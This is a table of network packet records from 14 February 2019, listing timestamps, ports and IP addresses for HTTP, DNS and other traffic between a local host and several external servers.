Feb 14, 2019 12:59:47.606847048 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.606848955 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.606851101 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.606919050 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.607477903 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.607480049 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.607481003 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.607482910 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.607484102 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.607485056 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.607486963 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.607511997 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.607717037 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.607728004 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.607734919 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.608030081 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.608367920 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.608377934 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.608385086 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.608417034 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.608423948 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.608567953 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.608570099 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.608571053 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.608572006 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.608573914 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.608576059 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.609513998 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.609528065 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.609535933 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.609790087 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.609791994 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.609792948 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.609793901 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.609796047 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.609797001 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.609798908 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.609800100 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.609801054 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.609802961 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.609803915 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.609806061 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.609834909 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.609946966 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.610138893 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.610188007 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.610312939 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.610424042 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.610578060 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.610593081 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.610599041 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.610605001 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.610610962 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.610620975 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.610651016 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.612024069 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.612030983 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.612032890 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.612034082 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.612035990 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.612036943 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.612039089 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.612040043 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.612040997 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.612042904 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.612044096 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.612046003 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.612046957 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.612049103 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.612119913 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.612396002 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.612399101 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.612463951 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.612894058 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.612910032 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.612962008 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.612967968 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.612973928 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.612978935 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.612983942 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.612989902 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.612996101 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.614294052 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.614300966 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.614301920 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.614304066 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.614305019 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.614305973 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.614308119 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.614309072 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.614311934 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.614453077 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.614454985 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.614455938 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.614458084 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.614459038 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.614459991 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.614461899 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.614463091 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.614547014 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.614656925 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.615180969 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.615195036 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.615226030 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.615232944 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.615238905 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.615245104 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.615251064 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.615256071 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.615262032 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.616540909 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.616544962 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.616545916 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.616548061 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.616549015 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.616550922 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.616552114 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.616687059 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.616688967 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.616689920 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.616692066 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.616693020 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.616694927 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.616695881 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.616698027 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.616698980 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.616700888 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.616704941 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.616821051 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.616935015 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.617424011 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.617440939 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.617446899 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.617453098 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.617459059 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.617465019 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.617471933 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.617477894 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.617482901 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.617489100 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.618941069 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.618948936 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.618951082 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.618952036 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.618953943 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.618954897 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.618957043 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.618957996 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.618959904 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.618961096 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.618962049 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.618963957 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.618966103 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.618967056 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.618968964 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.619045019 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.619046926 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.619048119 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.619080067 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.619205952 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.619352102 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.619761944 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.619777918 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.619785070 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.619791985 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.619800091 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.619806051 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.619812012 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.619817972 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.619827986 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.619833946 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.622095108 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.622128963 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.622137070 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.622143030 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.622148991 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.622157097 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.622162104 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.622168064 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.622174025 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.622179031 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.626121998 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.626472950 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.626774073 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.707698107 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.707729101 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.709846020 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.709937096 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.756047010 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.756078959 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.756191969 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.756315947 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.756433010 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.756580114 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.756652117 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.756767035 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.756944895 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.757040024 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.757159948 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.757239103 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.757353067 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.757534981 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.757571936 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.757796049 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.757859945 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.757965088 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.758089066 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.758142948 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.758169889 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.758205891 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.758234978 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.758326054 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.758367062 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.758546114 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.758655071 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.758764982 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.758862972 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.758938074 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.759237051 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.759248972 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.759274006 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.759764910 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.759774923 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.759782076 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.759856939 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.760335922 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.760346889 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.760423899 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.760958910 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.760974884 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.760992050 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.761415005 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:48.295470953 MEZ	49286	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:48.295743942 MEZ	49286	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:48.391081095 MEZ	10000	49286	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:48.391099930 MEZ	10000	49286	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:48.392591953 MEZ	49286	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:48.435991049 MEZ	10000	49286	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:48.437647104 MEZ	49286	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:48.721163034 MEZ	63057	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:48.752259970 MEZ	53	63057	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:48.753516912 MEZ	49294	80	192.168.0.50	65.52.32.169
Feb 14, 2019 12:59:48.879700899 MEZ	80	49294	65.52.32.169	192.168.0.50
Feb 14, 2019 12:59:48.882050991 MEZ	49294	80	192.168.0.50	65.52.32.169
Feb 14, 2019 12:59:48.884222984 MEZ	49294	80	192.168.0.50	65.52.32.169
Feb 14, 2019 12:59:49.011152983 MEZ	80	49294	65.52.32.169	192.168.0.50
Feb 14, 2019 12:59:49.012691021 MEZ	49294	80	192.168.0.50	65.52.32.169
Feb 14, 2019 12:59:49.044747114 MEZ	52391	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:49.077313900 MEZ	53	52391	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:49.079997063 MEZ	49295	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:49.125833035 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:49.127532005 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:49.205966949 MEZ	80	49295	13.66.51.223	192.168.0.50
Feb 14, 2019 12:59:49.207811117 MEZ	49295	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:49.208233118 MEZ	49295	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:49.335720062 MEZ	80	49295	13.66.51.223	192.168.0.50
Feb 14, 2019 12:59:49.337354898 MEZ	49295	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:49.345463037 MEZ	62498	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:49.376446009 MEZ	53	62498	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:49.379229069 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:49.506680965 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 12:59:49.508862019 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:49.509336948 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:49.509352922 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:49.635735035 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 12:59:49.637012005 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 12:59:49.638958931 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:49.896303892 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:49.896327019 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:50.022953033 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 12:59:50.023622990 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 12:59:50.025500059 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:54.172792912 MEZ	59266	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:54.178195953 MEZ	53	59266	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:54.866991997 MEZ	58369	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:54.871820927 MEZ	53	58369	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:55.424647093 MEZ	63849	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:55.467812061 MEZ	53	63849	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:57.573299885 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:57.573327065 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:57.699574947 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 12:59:57.700793028 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 12:59:57.702763081 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:57.821044922 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:57.821064949 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:57.947679996 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 12:59:57.948430061 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 12:59:57.950340033 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:57.983788013 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:57.983815908 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:58.109776020 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 12:59:58.110512018 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 12:59:58.112401962 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:58.190078020 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:58.190105915 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:58.316186905 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 12:59:58.317181110 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 12:59:58.319030046 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:58.431552887 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:58.431592941 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:58.558109999 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 12:59:58.559178114 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 12:59:58.561448097 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:58.562877893 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:58.562891960 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:58.688950062 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 12:59:58.689809084 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 12:59:58.691570997 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:58.748461008 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:58.748476028 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:58.874485970 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 12:59:58.875690937 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 12:59:58.875884056 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:59.076821089 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:59.076869965 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:59.203596115 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 12:59:59.204087973 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 12:59:59.204294920 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:59.467375040 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:59.467397928 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:59.593734026 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 12:59:59.594518900 MEZ	80	49296	13.66.51.223	192.168.0.50
Feb 14, 2019 12:59:59.596311092 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:59.732289076 MEZ	49296	80	192.168.0.50	13.66.51.223
Feb 14, 2019 12:59:59.732350111 MEZ	49296	80	192.168.0.50	13.66.51.223
